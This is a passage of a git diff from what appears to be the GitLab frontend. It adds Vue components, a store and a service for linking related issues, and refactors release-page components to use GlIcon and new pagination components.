+ removeDraggingCursor() {
+ document.body.classList.remove('is-dragging');
+ },
+ issuableOrderingId({ epicIssueId, id }) {
+ return this.issuableType === 'issue' ? epicIssueId : id;
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <h4 v-if="heading" class="gl-font-base mt-0">{{ heading }}</h4>
+ <div
+ class="related-issues-token-body bordered-box bg-white"
+ :class="{ 'sortable-container': canReorder }"
+ >
+ <div v-if="isFetching" class="related-issues-loading-icon qa-related-issues-loading-icon">
+ <gl-loading-icon ref="loadingIcon" label="Fetching linked issues" class="gl-mt-2" />
+ </div>
+ <ul ref="list" :class="{ 'content-list': !canReorder }" class="related-items-list">
+ <li
+ v-for="issue in relatedIssues"
+ :key="issue.id"
+ :class="{
+ 'user-can-drag': canReorder,
+ 'sortable-row': canReorder,
+ 'card card-slim': canReorder,
+ }"
+ :data-key="issue.id"
+ :data-ordering-id="issuableOrderingId(issue)"
+ class="js-related-issues-token-list-item list-item pt-0 pb-0"
+ >
+ <related-issuable-item
+ :id-key="issue.id"
+ :display-reference="issue.reference"
+ :confidential="issue.confidential"
+ :title="issue.title"
+ :path="issue.path"
+ :state="issue.state"
+ :milestone="issue.milestone"
+ :assignees="issue.assignees"
+ :created-at="issue.createdAt"
+ :closed-at="issue.closedAt"
+ :weight="issue.weight"
+ :due-date="issue.dueDate"
+ :can-remove="canAdmin"
+ :can-reorder="canReorder"
+ :path-id-separator="pathIdSeparator"
+ :is-locked="issue.lockIssueRemoval"
+ :locked-message="issue.lockedMessage"
+ event-namespace="relatedIssue"
+ class="qa-related-issuable-item"
+ @relatedIssueRemoveRequest="$emit('relatedIssueRemoveRequest', $event)"
+ />
+ </li>
+ </ul>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/related_issues/components/related_issues_root.vue b/app/assets/javascripts/related_issues/components/related_issues_root.vue
new file mode 100644
index 00000000000..6f68b25b6fb
--- /dev/null
+++ b/app/assets/javascripts/related_issues/components/related_issues_root.vue
@@ -0,0 +1,247 @@
+<script>
+/*
+`rawReferences` are separated by spaces.
+Given `abc 123 zxc`, `rawReferences = ['abc', '123', 'zxc']`
+
+Consider you are typing `abc 123 zxc` in the input and your caret position is
+at position 4 right before the `123` `rawReference`. Then you type `#` and
+it becomes a valid reference, `#123`, but we don't want to jump it straight into
+`pendingReferences` because you could still want to type. Say you typed `999`
+and now we have `#999123`. Only when you move your caret away from that `rawReference`
+do we actually put it in the `pendingReferences`.
+
+Your caret can stop touching a `rawReference` can happen in a variety of ways:
+
+ - As you type, we only tokenize after you type a space or move with the arrow keys
+ - On blur, we consider your caret not touching anything
+
+---
+
+ - When you click the "Add related issues"(in the `AddIssuableForm`),
+ we submit the `pendingReferences` to the server and they come back as actual `relatedIssues`
+ - When you click the "Cancel"(in the `AddIssuableForm`), we clear out `pendingReferences`
+ and hide the `AddIssuableForm` area.
+
+*/
+import { deprecatedCreateFlash as Flash } from '~/flash';
+import { __ } from '~/locale';
+import RelatedIssuesBlock from './related_issues_block.vue';
+import RelatedIssuesStore from '../stores/related_issues_store';
+import RelatedIssuesService from '../services/related_issues_service';
+import {
+ relatedIssuesRemoveErrorMap,
+ pathIndeterminateErrorMap,
+ addRelatedIssueErrorMap,
+ issuableTypesMap,
+ PathIdSeparator,
+} from '../constants';
+
+export default {
+ name: 'RelatedIssuesRoot',
+ components: {
+ relatedIssuesBlock: RelatedIssuesBlock,
+ },
+ props: {
+ endpoint: {
+ type: String,
+ required: true,
+ },
+ canAdmin: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ canReorder: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ helpPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ issuableType: {
+ type: String,
+ required: false,
+ default: issuableTypesMap.ISSUE,
+ },
+ allowAutoComplete: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ pathIdSeparator: {
+ type: String,
+ required: false,
+ default: PathIdSeparator.Issue,
+ },
+ cssClass: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ showCategorizedIssues: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ },
+ data() {
+ this.store = new RelatedIssuesStore();
+
+ return {
+ state: this.store.state,
+ isFetching: false,
+ isSubmitting: false,
+ isFormVisible: false,
+ inputValue: '',
+ };
+ },
+ computed: {
+ autoCompleteSources() {
+ if (!this.allowAutoComplete) return {};
+ return gl.GfmAutoComplete && gl.GfmAutoComplete.dataSources;
+ },
+ },
+ created() {
+ this.service = new RelatedIssuesService(this.endpoint);
+ this.fetchRelatedIssues();
+ },
+ methods: {
+ findRelatedIssueById(id) {
+ return this.state.relatedIssues.find(issue => issue.id === id);
+ },
+ onRelatedIssueRemoveRequest(idToRemove) {
+ const issueToRemove = this.findRelatedIssueById(idToRemove);
+
+ if (issueToRemove) {
+ RelatedIssuesService.remove(issueToRemove.relationPath)
+ .then(({ data }) => {
+ this.store.setRelatedIssues(data.issuables);
+ })
+ .catch(res => {
+ if (res && res.status !== 404) {
+ Flash(relatedIssuesRemoveErrorMap[this.issuableType]);
+ }
+ });
+ } else {
+ Flash(pathIndeterminateErrorMap[this.issuableType]);
+ }
+ },
+ onToggleAddRelatedIssuesForm() {
+ this.isFormVisible = !this.isFormVisible;
+ },
+ onPendingIssueRemoveRequest(indexToRemove) {
+ this.store.removePendingRelatedIssue(indexToRemove);
+ },
+ onPendingFormSubmit(event) {
+ this.processAllReferences(event.pendingReferences);
+
+ if (this.state.pendingReferences.length > 0) {
+ this.isSubmitting = true;
+ this.service
+ .addRelatedIssues(this.state.pendingReferences, event.linkedIssueType)
+ .then(({ data }) => {
+ // We could potentially lose some pending issues in the interim here
+ this.store.setPendingReferences([]);
+ this.store.setRelatedIssues(data.issuables);
+
+ // Close the form on submission
+ this.isFormVisible = false;
+ })
+ .catch(({ response }) => {
+ let errorMessage = addRelatedIssueErrorMap[this.issuableType];
+ if (response && response.data && response.data.message) {
+ errorMessage = response.data.message;
+ }
+ Flash(errorMessage);
+ })
+ .finally(() => {
+ this.isSubmitting = false;
+ });
+ }
+ },
+ onPendingFormCancel() {
+ this.isFormVisible = false;
+ this.store.setPendingReferences([]);
+ this.inputValue = '';
+ },
+ fetchRelatedIssues() {
+ this.isFetching = true;
+ this.service
+ .fetchRelatedIssues()
+ .then(({ data }) => {
+ this.store.setRelatedIssues(data);
+ })
+ .catch(() => {
+ this.store.setRelatedIssues([]);
+ Flash(__('An error occurred while fetching issues.'));
+ })
+ .finally(() => {
+ this.isFetching = false;
+ });
+ },
+ saveIssueOrder({ issueId, beforeId, afterId, oldIndex, newIndex }) {
+ const issueToReorder = this.findRelatedIssueById(issueId);
+
+ if (issueToReorder) {
+ RelatedIssuesService.saveOrder({
+ endpoint: issueToReorder.relationPath,
+ move_before_id: beforeId,
+ move_after_id: afterId,
+ })
+ .then(({ data }) => {
+ if (!data.message) {
+ this.store.updateIssueOrder(oldIndex, newIndex);
+ }
+ })
+ .catch(() => {
+ Flash(__('An error occurred while reordering issues.'));
+ });
+ }
+ },
+ onInput({ untouchedRawReferences, touchedReference }) {
+ this.store.addPendingReferences(untouchedRawReferences);
+
+ this.inputValue = `${touchedReference}`;
+ },
+ onBlur(newValue) {
+ this.processAllReferences(newValue);
+ },
+ processAllReferences(value = '') {
+ const rawReferences = value.split(/\s+/).filter(reference => reference.trim().length > 0);
+
+ this.store.addPendingReferences(rawReferences);
+ this.inputValue = '';
+ },
+ },
+};
+</script>
+
+<template>
+ <related-issues-block
+ :class="cssClass"
+ :help-path="helpPath"
+ :is-fetching="isFetching"
+ :is-submitting="isSubmitting"
+ :related-issues="state.relatedIssues"
+ :can-admin="canAdmin"
+ :can-reorder="canReorder"
+ :pending-references="state.pendingReferences"
+ :is-form-visible="isFormVisible"
+ :input-value="inputValue"
+ :auto-complete-sources="autoCompleteSources"
+ :issuable-type="issuableType"
+ :path-id-separator="pathIdSeparator"
+ :show-categorized-issues="showCategorizedIssues"
+ @saveReorder="saveIssueOrder"
+ @toggleAddRelatedIssuesForm="onToggleAddRelatedIssuesForm"
+ @addIssuableFormInput="onInput"
+ @addIssuableFormBlur="onBlur"
+ @addIssuableFormSubmit="onPendingFormSubmit"
+ @addIssuableFormCancel="onPendingFormCancel"
+ @pendingIssuableRemoveRequest="onPendingIssueRemoveRequest"
+ @relatedIssueRemoveRequest="onRelatedIssueRemoveRequest"
+ />
+</template>
diff --git a/app/assets/javascripts/related_issues/constants.js b/app/assets/javascripts/related_issues/constants.js
new file mode 100644
index 00000000000..89eae069a24
--- /dev/null
+++ b/app/assets/javascripts/related_issues/constants.js
@@ -0,0 +1,106 @@
+import { __, sprintf } from '~/locale';
+
+export const issuableTypesMap = {
+ ISSUE: 'issue',
+ EPIC: 'epic',
+ MERGE_REQUEST: 'merge_request',
+};
+
+export const linkedIssueTypesMap = {
+ BLOCKS: 'blocks',
+ IS_BLOCKED_BY: 'is_blocked_by',
+ RELATES_TO: 'relates_to',
+};
+
+export const linkedIssueTypesTextMap = {
+ [linkedIssueTypesMap.RELATES_TO]: __('Relates to'),
+ [linkedIssueTypesMap.BLOCKS]: __('Blocks'),
+ [linkedIssueTypesMap.IS_BLOCKED_BY]: __('Is blocked by'),
+};
+
+export const autoCompleteTextMap = {
+ true: {
+ [issuableTypesMap.ISSUE]: sprintf(
+ __(' or %{emphasisStart}#issue id%{emphasisEnd}'),
+ { emphasisStart: '<', emphasisEnd: '>' },
+ false,
+ ),
+ [issuableTypesMap.EPIC]: sprintf(
+ __(' or %{emphasisStart}&epic id%{emphasisEnd}'),
+ { emphasisStart: '<', emphasisEnd: '>' },
+ false,
+ ),
+ [issuableTypesMap.MERGE_REQUEST]: sprintf(
+ __(' or %{emphasisStart}!merge request id%{emphasisEnd}'),
+ { emphasisStart: '<', emphasisEnd: '>' },
+ false,
+ ),
+ },
+ false: {
+ [issuableTypesMap.ISSUE]: '',
+ [issuableTypesMap.EPIC]: '',
+ [issuableTypesMap.MERGE_REQUEST]: __(' or references (e.g. path/to/project!merge_request_id)'),
+ },
+};
+
+export const inputPlaceholderTextMap = {
+ [issuableTypesMap.ISSUE]: __('Paste issue link'),
+ [issuableTypesMap.EPIC]: __('Paste epic link'),
+ [issuableTypesMap.MERGE_REQUEST]: __('Enter merge request URLs'),
+};
+
+export const inputPlaceholderConfidentialTextMap = {
+ [issuableTypesMap.ISSUE]: __('Paste confidential issue link'),
+ [issuableTypesMap.EPIC]: __('Paste confidential epic link'),
+ [issuableTypesMap.MERGE_REQUEST]: __('Enter merge request URLs'),
+};
+
+export const relatedIssuesRemoveErrorMap = {
+ [issuableTypesMap.ISSUE]: __('An error occurred while removing issues.'),
+ [issuableTypesMap.EPIC]: __('An error occurred while removing epics.'),
+};
+
+export const pathIndeterminateErrorMap = {
+ [issuableTypesMap.ISSUE]: __('We could not determine the path to remove the issue'),
+ [issuableTypesMap.EPIC]: __('We could not determine the path to remove the epic'),
+};
+
+export const itemAddFailureTypesMap = {
+ NOT_FOUND: 'not_found',
+ MAX_NUMBER_OF_CHILD_EPICS: 'conflict',
+};
+
+export const addRelatedIssueErrorMap = {
+ [issuableTypesMap.ISSUE]: __('Issue cannot be found.'),
+ [issuableTypesMap.EPIC]: __('Epic cannot be found.'),
+};
+
+export const addRelatedItemErrorMap = {
+ [itemAddFailureTypesMap.MAX_NUMBER_OF_CHILD_EPICS]: __(
+ 'This epic already has the maximum number of child epics.',
+ ),
+};
+
+/**
+ * These are used to map issuableType to the correct icon.
+ * Since these are never used for any display purposes, don't wrap
+ * them inside i18n functions.
+ */
+export const issuableIconMap = {
+ [issuableTypesMap.ISSUE]: 'issues',
+ [issuableTypesMap.EPIC]: 'epic',
+};
+
+/**
+ * These are used to map issuableType to the correct QA class.
+ * Since these are never used for any display purposes, don't wrap
+ * them inside i18n functions.
+ */
+export const issuableQaClassMap = {
+ [issuableTypesMap.EPIC]: 'qa-add-epics-button',
+};
+
+export const PathIdSeparator = {
+ Epic: '&',
+ Issue: '#',
+};
diff --git a/app/assets/javascripts/related_issues/index.js b/app/assets/javascripts/related_issues/index.js
new file mode 100644
index 00000000000..2e8626890cb
--- /dev/null
+++ b/app/assets/javascripts/related_issues/index.js
@@ -0,0 +1,27 @@
+import Vue from 'vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import RelatedIssuesRoot from './components/related_issues_root.vue';
+
+export default function initRelatedIssues() {
+ const relatedIssuesRootElement = document.querySelector('.js-related-issues-root');
+ if (relatedIssuesRootElement) {
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: relatedIssuesRootElement,
+ components: {
+ relatedIssuesRoot: RelatedIssuesRoot,
+ },
+ render: createElement =>
+ createElement('related-issues-root', {
+ props: {
+ endpoint: relatedIssuesRootElement.dataset.endpoint,
+ canAdmin: parseBoolean(relatedIssuesRootElement.dataset.canAddRelatedIssues),
+ helpPath: relatedIssuesRootElement.dataset.helpPath,
+ showCategorizedIssues: parseBoolean(
+ relatedIssuesRootElement.dataset.showCategorizedIssues,
+ ),
+ },
+ }),
+ });
+ }
+}
diff --git a/app/assets/javascripts/related_issues/services/related_issues_service.js b/app/assets/javascripts/related_issues/services/related_issues_service.js
new file mode 100644
index 00000000000..3c19f63157e
--- /dev/null
+++ b/app/assets/javascripts/related_issues/services/related_issues_service.js
@@ -0,0 +1,34 @@
+import axios from '~/lib/utils/axios_utils';
+import { linkedIssueTypesMap } from '../constants';
+
+class RelatedIssuesService {
+ constructor(endpoint) {
+ this.endpoint = endpoint;
+ }
+
+ fetchRelatedIssues() {
+ return axios.get(this.endpoint);
+ }
+
+ addRelatedIssues(newIssueReferences, linkType = linkedIssueTypesMap.RELATES_TO) {
+ return axios.post(this.endpoint, {
+ issuable_references: newIssueReferences,
+ link_type: linkType,
+ });
+ }
+
+ static saveOrder({ endpoint, move_before_id, move_after_id }) {
+ return axios.put(endpoint, {
+ epic: {
+ move_before_id,
+ move_after_id,
+ },
+ });
+ }
+
+ static remove(endpoint) {
+ return axios.delete(endpoint);
+ }
+}
+
+export default RelatedIssuesService;
diff --git a/app/assets/javascripts/related_issues/stores/related_issues_store.js b/app/assets/javascripts/related_issues/stores/related_issues_store.js
new file mode 100644
index 00000000000..14d71628cad
--- /dev/null
+++ b/app/assets/javascripts/related_issues/stores/related_issues_store.js
@@ -0,0 +1,50 @@
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+
+class RelatedIssuesStore {
+ constructor() {
+ this.state = {
+ // Stores issue objects of the known related issues
+ relatedIssues: [],
+ // Stores references of the "staging area" related issues that are planned to be added
+ pendingReferences: [],
+ };
+ }
+
+ setRelatedIssues(issues = []) {
+ this.state.relatedIssues = convertObjectPropsToCamelCase(issues, { deep: true });
+ }
+
+ addRelatedIssues(issues = []) {
+ this.setRelatedIssues(this.state.relatedIssues.concat(issues));
+ }
+
+ removeRelatedIssue(issue) {
+ this.state.relatedIssues = this.state.relatedIssues.filter(x => x.id !== issue.id);
+ }
+
+ updateIssueOrder(oldIndex, newIndex) {
+ if (this.state.relatedIssues.length > 0) {
+ const updatedIssue = this.state.relatedIssues.splice(oldIndex, 1)[0];
+ this.state.relatedIssues.splice(newIndex, 0, updatedIssue);
+ }
+ }
+
+ setPendingReferences(issues) {
+ // Remove duplicates but retain order.
+ // If you don't do this, Vue will be confused by duplicates and refuse to delete them all.
+ this.state.pendingReferences = issues.filter((ref, idx) => issues.indexOf(ref) === idx);
+ }
+
+ addPendingReferences(references = []) {
+ const issues = this.state.pendingReferences.concat(references);
+ this.setPendingReferences(issues);
+ }
+
+ removePendingRelatedIssue(indexToRemove) {
+ this.state.pendingReferences = this.state.pendingReferences.filter(
+ (reference, index) => index !== indexToRemove,
+ );
+ }
+}
+
+export default RelatedIssuesStore;
diff --git a/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue b/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue
index 15e9b8559d4..7db76ed576c 100644
--- a/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue
+++ b/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue
@@ -1,15 +1,14 @@
<script>
import { mapState, mapActions } from 'vuex';
-import { GlLink, GlLoadingIcon } from '@gitlab/ui';
+import { GlLink, GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { sprintf, n__, s__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import RelatedIssuableItem from '~/vue_shared/components/issue/related_issuable_item.vue';
import { parseIssuableData } from '../../issue_show/utils/parse_data';
export default {
name: 'RelatedMergeRequests',
components: {
- Icon,
+ GlIcon,
GlLink,
GlLoadingIcon,
RelatedIssuableItem,
@@ -85,7 +84,7 @@ export default {
<div class="mr-count-badge gl-display-inline-flex">
<div class="mr-count-badge-count">
<svg class="s16 mr-1 text-secondary">
- <icon name="merge-request" class="mr-1 text-secondary" />
+ <gl-icon name="merge-request" class="mr-1 text-secondary" />
</svg>
<span class="js-items-count">{{ totalCount }}</span>
</div>
diff --git a/app/assets/javascripts/releases/components/app_edit_new.vue b/app/assets/javascripts/releases/components/app_edit_new.vue
index 7b7c80a6269..e1edf3d689d 100644
--- a/app/assets/javascripts/releases/components/app_edit_new.vue
+++ b/app/assets/javascripts/releases/components/app_edit_new.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapState, mapActions, mapGetters } from 'vuex';
import { GlButton, GlFormInput, GlFormGroup } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
@@ -139,7 +140,7 @@ export default {
class="form-control"
/>
</gl-form-group>
- <gl-form-group class="w-50" @keydown.enter.prevent.capture>
+ <gl-form-group class="w-50" data-testid="milestones-field">
<label>{{ __('Milestones') }}</label>
<div class="d-flex flex-column col-md-6 col-sm-10 pl-0">
<milestone-combobox
diff --git a/app/assets/javascripts/releases/components/app_index.vue b/app/assets/javascripts/releases/components/app_index.vue
index 67085ecca2b..b8cf6ce478f 100644
--- a/app/assets/javascripts/releases/components/app_index.vue
+++ b/app/assets/javascripts/releases/components/app_index.vue
@@ -1,6 +1,11 @@
<script>
import { mapState, mapActions } from 'vuex';
-import { GlSkeletonLoading, GlEmptyState, GlLink, GlButton } from '@gitlab/ui';
+import {
+ GlDeprecatedSkeletonLoading as GlSkeletonLoading,
+ GlEmptyState,
+ GlLink,
+ GlButton,
+} from '@gitlab/ui';
import {
getParameterByName,
historyPushState,
@@ -20,27 +25,16 @@ export default {
GlLink,
GlButton,
},
- props: {
- projectId: {
- type: String,
- required: true,
- },
- documentationPath: {
- type: String,
- required: true,
- },
- illustrationPath: {
- type: String,
- required: true,
- },
- newReleasePath: {
- type: String,
- required: false,
- default: '',
- },
- },
computed: {
- ...mapState('list', ['isLoading', 'releases', 'hasError', 'pageInfo']),
+ ...mapState('list', [
+ 'documentationPath',
+ 'illustrationPath',
+ 'newReleasePath',
+ 'isLoading',
+ 'releases',
+ 'hasError',
+ 'pageInfo',
+ ]),
shouldRenderEmptyState() {
return !this.releases.length && !this.hasError && !this.isLoading;
},
@@ -56,14 +50,13 @@ export default {
created() {
this.fetchReleases({
page: getParameterByName('page'),
- projectId: this.projectId,
});
},
methods: {
...mapActions('list', ['fetchReleases']),
onChangePage(page) {
historyPushState(buildUrlWithCurrentLocation(`?page=${page}`));
- this.fetchReleases({ page, projectId: this.projectId });
+ this.fetchReleases({ page });
},
},
};
diff --git a/app/assets/javascripts/releases/components/app_show.vue b/app/assets/javascripts/releases/components/app_show.vue
index 0e65d722952..8b89f0cf3fc 100644
--- a/app/assets/javascripts/releases/components/app_show.vue
+++ b/app/assets/javascripts/releases/components/app_show.vue
@@ -1,6 +1,6 @@
<script>
import { mapState, mapActions } from 'vuex';
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import ReleaseBlock from './release_block.vue';
export default {
diff --git a/app/assets/javascripts/releases/components/evidence_block.vue b/app/assets/javascripts/releases/components/evidence_block.vue
index 6468e2ded62..3724162f6d5 100644
--- a/app/assets/javascripts/releases/components/evidence_block.vue
+++ b/app/assets/javascripts/releases/components/evidence_block.vue
@@ -80,9 +80,7 @@ export default {
<span class="js-short monospace">{{ shortSha(index) }}</span>
</template>
<template #expanded>
- <span class="js-expanded monospace gl-pl-1-deprecated-no-really-do-not-use-me">{{
- sha(index)
- }}</span>
+ <span class="js-expanded monospace gl-pl-2">{{ sha(index) }}</span>
</template>
</expand-button>
<clipboard-button
diff --git a/app/assets/javascripts/releases/components/release_block.vue b/app/assets/javascripts/releases/components/release_block.vue
index e0061d88ccb..2629df08be7 100644
--- a/app/assets/javascripts/releases/components/release_block.vue
+++ b/app/assets/javascripts/releases/components/release_block.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { isEmpty } from 'lodash';
import $ from 'jquery';
import { slugify } from '~/lib/utils/text_utility';
diff --git a/app/assets/javascripts/releases/components/release_block_assets.vue b/app/assets/javascripts/releases/components/release_block_assets.vue
index 9583f5737df..8824cbefd7e 100644
--- a/app/assets/javascripts/releases/components/release_block_assets.vue
+++ b/app/assets/javascripts/releases/components/release_block_assets.vue
@@ -1,7 +1,6 @@
<script>
import { GlTooltipDirective, GlLink, GlButton, GlCollapse, GlIcon, GlBadge } from '@gitlab/ui';
import { difference, get } from 'lodash';
-import Icon from '~/vue_shared/components/icon.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { ASSET_LINK_TYPE } from '../constants';
import { __, s__, sprintf } from '~/locale';
@@ -13,7 +12,6 @@ export default {
GlButton,
GlCollapse,
GlIcon,
- Icon,
GlBadge,
},
directives: {
@@ -157,7 +155,7 @@ export default {
<ul v-if="assets.links.length" class="pl-0 mb-0 gl-mt-3 list-unstyled js-assets-list">
<li v-for="link in assets.links" :key="link.name" class="gl-mb-3">
<gl-link v-gl-tooltip.bottom :title="__('Download asset')" :href="link.directAssetUrl">
- <icon name="package" class="align-middle gl-mr-2 align-text-bottom" />
+ <gl-icon name="package" class="align-middle gl-mr-2 align-text-bottom" />
{{ link.name }}
<span v-if="link.external" data-testid="external-link-indicator">{{
__('(external source)')
@@ -174,9 +172,9 @@ export default {
aria-haspopup="true"
aria-expanded="false"
>
- <icon name="doc-code" class="align-top gl-mr-2" />
+ <gl-icon name="doc-code" class="align-top gl-mr-2" />
{{ __('Source code') }}
- <icon name="chevron-down" />
+ <gl-icon name="chevron-down" />
</button>
<div class="js-sources-dropdown dropdown-menu">
diff --git a/app/assets/javascripts/releases/components/release_block_footer.vue b/app/assets/javascripts/releases/components/release_block_footer.vue
index 26154272d39..3beec466c54 100644
--- a/app/assets/javascripts/releases/components/release_block_footer.vue
+++ b/app/assets/javascripts/releases/components/release_block_footer.vue
@@ -1,6 +1,5 @@
<script>
-import { GlTooltipDirective, GlLink } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlLink, GlIcon } from '@gitlab/ui';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import { __, sprintf } from '~/locale';
@@ -8,7 +7,7 @@ import { __, sprintf } from '~/locale';
export default {
name: 'ReleaseBlockFooter',
components: {
- Icon,
+ GlIcon,
GlLink,
UserAvatarLink,
},
@@ -68,7 +67,7 @@ export default {
<template>
<div>
<div v-if="commit" class="float-left mr-3 d-flex align-items-center js-commit-info">
- <icon ref="commitIcon" name="commit" class="mr-1" />
+ <gl-icon ref="commitIcon" name="commit" class="mr-1" />
<div v-gl-tooltip.bottom :title="commit.title">
<gl-link v-if="commitPath" :href="commitPath">
{{ commit.shortId }}
@@ -78,7 +77,7 @@ export default {
</div>
<div v-if="tagName" class="float-left mr-3 d-flex align-items-center js-tag-info">
- <icon name="tag" class="mr-1" />
+ <gl-icon name="tag" class="mr-1" />
<div v-gl-tooltip.bottom :title="__('Tag')">
<gl-link v-if="tagPath" :href="tagPath">
{{ tagName }}
diff --git a/app/assets/javascripts/releases/components/release_block_header.vue b/app/assets/javascripts/releases/components/release_block_header.vue
index 310fba0fe76..95292a26bce 100644
--- a/app/assets/javascripts/releases/components/release_block_header.vue
+++ b/app/assets/javascripts/releases/components/release_block_header.vue
@@ -1,6 +1,5 @@
<script>
-import { GlTooltipDirective, GlLink, GlBadge, GlButton } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlLink, GlBadge, GlButton, GlIcon } from '@gitlab/ui';
import { BACK_URL_PARAM } from '~/releases/constants';
import { setUrlParams } from '~/lib/utils/url_utility';
@@ -9,7 +8,7 @@ export default {
components: {
GlLink,
GlBadge,
- Icon,
+ GlIcon,
GlButton,
},
directives: {
@@ -42,7 +41,7 @@ export default {
<template>
<div class="card-header d-flex align-items-center bg-white pr-0">
- <h2 class="card-title my-2 mr-auto gl-font-size-20-deprecated-no-really-do-not-use-me">
+ <h2 class="card-title my-2 mr-auto">
<gl-link v-if="selfLink" :href="selfLink" class="font-size-inherit">
{{ release.name }}
</gl-link>
@@ -60,7 +59,7 @@ export default {
:title="__('Edit this release')"
:href="editLink"
>
- <icon name="pencil" />
+ <gl-icon name="pencil" />
</gl-button>
</div>
</template>
diff --git a/app/assets/javascripts/releases/components/release_block_metadata.vue b/app/assets/javascripts/releases/components/release_block_metadata.vue
index 861c2e11798..2247b4c0064 100644
--- a/app/assets/javascripts/releases/components/release_block_metadata.vue
+++ b/app/assets/javascripts/releases/components/release_block_metadata.vue
@@ -1,7 +1,6 @@
<script>
-import { GlTooltipDirective, GlLink } from '@gitlab/ui';
+import { GlTooltipDirective, GlLink, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import ReleaseBlockAuthor from './release_block_author.vue';
import ReleaseBlockMilestones from './release_block_milestones.vue';
@@ -9,7 +8,7 @@ import ReleaseBlockMilestones from './release_block_milestones.vue';
export default {
name: 'ReleaseBlockMetadata',
components: {
- Icon,
+ GlIcon,
GlLink,
ReleaseBlockAuthor,
ReleaseBlockMilestones,
@@ -58,7 +57,7 @@ export default {
<template>
<div class="card-subtitle d-flex flex-wrap text-secondary">
<div class="gl-mr-3">
- <icon name="commit" class="align-middle" />
+ <gl-icon name="commit" class="align-middle" />
<gl-link v-if="commitUrl" v-gl-tooltip.bottom :title="commit.title" :href="commitUrl">
{{ commit.shortId }}
</gl-link>
@@ -66,7 +65,7 @@ export default {
</div>
<div class="gl-mr-3">
- <icon name="tag" class="align-middle" />
+ <gl-icon name="tag" class="align-middle" />
<gl-link v-if="tagUrl" v-gl-tooltip.bottom :title="__('Tag')" :href="tagUrl">
{{ release.tagName }}
</gl-link>
diff --git a/app/assets/javascripts/releases/components/release_block_milestones.vue b/app/assets/javascripts/releases/components/release_block_milestones.vue
index 9abd3345b22..1da683764b3 100644
--- a/app/assets/javascripts/releases/components/release_block_milestones.vue
+++ b/app/assets/javascripts/releases/components/release_block_milestones.vue
@@ -1,13 +1,12 @@
<script>
-import { GlTooltipDirective, GlLink } from '@gitlab/ui';
+import { GlTooltipDirective, GlLink, GlIcon } from '@gitlab/ui';
import { n__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
name: 'ReleaseBlockMilestones',
components: {
GlLink,
- Icon,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -29,7 +28,7 @@ export default {
<template>
<div>
<div class="js-milestone-list-label">
- <icon name="flag" class="align-middle" />
+ <gl-icon name="flag" class="align-middle" />
<span class="js-label-text">{{ labelText }}</span>
</div>
diff --git a/app/assets/javascripts/releases/components/releases_pagination.vue b/app/assets/javascripts/releases/components/releases_pagination.vue
new file mode 100644
index 00000000000..062c72b445b
--- /dev/null
+++ b/app/assets/javascripts/releases/components/releases_pagination.vue
@@ -0,0 +1,20 @@
+<script>
+import { mapGetters } from 'vuex';
+import ReleasesPaginationGraphql from './releases_pagination_graphql.vue';
+import ReleasesPaginationRest from './releases_pagination_rest.vue';
+
+export default {
+ name: 'ReleasesPagination',
+ components: { ReleasesPaginationGraphql, ReleasesPaginationRest },
+ computed: {
+ ...mapGetters(['useGraphQLEndpoint']),
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-justify-content-center">
+ <releases-pagination-graphql v-if="useGraphQLEndpoint" />
+ <releases-pagination-rest v-else />
+ </div>
+</template>
diff --git a/app/assets/javascripts/releases/components/releases_pagination_graphql.vue b/app/assets/javascripts/releases/components/releases_pagination_graphql.vue
new file mode 100644
index 00000000000..a4fe407a5bd
--- /dev/null
+++ b/app/assets/javascripts/releases/components/releases_pagination_graphql.vue
@@ -0,0 +1,35 @@
+<script>
+import { mapActions, mapState } from 'vuex';
+import { GlKeysetPagination } from '@gitlab/ui';
+import { historyPushState, buildUrlWithCurrentLocation } from '~/lib/utils/common_utils';
+
+export default {
+ name: 'ReleasesPaginationGraphql',
+ components: { GlKeysetPagination },
+ computed: {
+ ...mapState('list', ['graphQlPageInfo']),
+ showPagination() {
+ return this.graphQlPageInfo.hasPreviousPage || this.graphQlPageInfo.hasNextPage;
+ },
+ },
+ methods: {
+ ...mapActions('list', ['fetchReleasesGraphQl']),
+ onPrev(before) {
+ historyPushState(buildUrlWithCurrentLocation(`?before=${before}`));
+ this.fetchReleasesGraphQl({ before });
+ },
+ onNext(after) {
+ historyPushState(buildUrlWithCurrentLocation(`?after=${after}`));
+ this.fetchReleasesGraphQl({ after });
+ },
+ },
+};
+</script>
+<template>
+ <gl-keyset-pagination
+ v-if="showPagination"
+ v-bind="graphQlPageInfo"
+ @prev="onPrev($event)"
